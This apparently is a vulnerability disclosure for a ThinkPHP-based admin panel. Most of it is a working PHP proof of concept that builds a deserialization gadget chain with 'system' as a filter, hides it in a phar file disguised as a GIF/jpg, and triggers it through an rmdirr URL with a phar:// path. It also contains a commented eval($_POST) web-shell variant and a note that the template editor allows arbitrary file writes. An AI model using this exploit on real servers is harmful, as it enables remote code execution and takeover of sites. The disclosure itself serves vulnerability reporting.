vulnerability in application/admin/controller/Update.php

we can upload phar files disguised as jpg in the background to further expand the attack surface.

POC：

<?php
namespace think{
    abstract class Model{
        protected $append;
        private $data;
        function __construct(){
            $this->append = ["aaaa"=>["123456"]];
            $this->data = ["aaaa"=>new Request()];
        }
    }
    class Request
    {
        protected $param;
        protected $hook;
        protected $filter;
        protected $config;
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->param = ["calc"];
        }
    }
}
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files;

        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace{
    use think\process\pipes\Windows;
    @unlink('shell.jpg');
    $phar = new Phar("shell.phar"); //
    $phar->startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $object = new Windows();
    //$object ->haha= 'eval(@$_POST[\'a\']);';
    // $object ->haha= 'phpinfo();';
    $phar->setMetadata($object); 
    $phar->addFromString("a", "a"); //添加要压缩的文件
    
    $phar->stopBuffering();
    
    echo (base64_encode(serialize(new Windows())));

}
?>

change filename to 'shell.jpg' and upload

final: http://Youripaddress/admin.php/update/rmdirr?dirname=phar://./public/upload/menubg/613359e2251d3.jpg

vulnerability in application/admin/controller/Template.php In fact,here is no any filtering,You can edit what you want After edit,the file will atuo saved in :template/,you can access it directly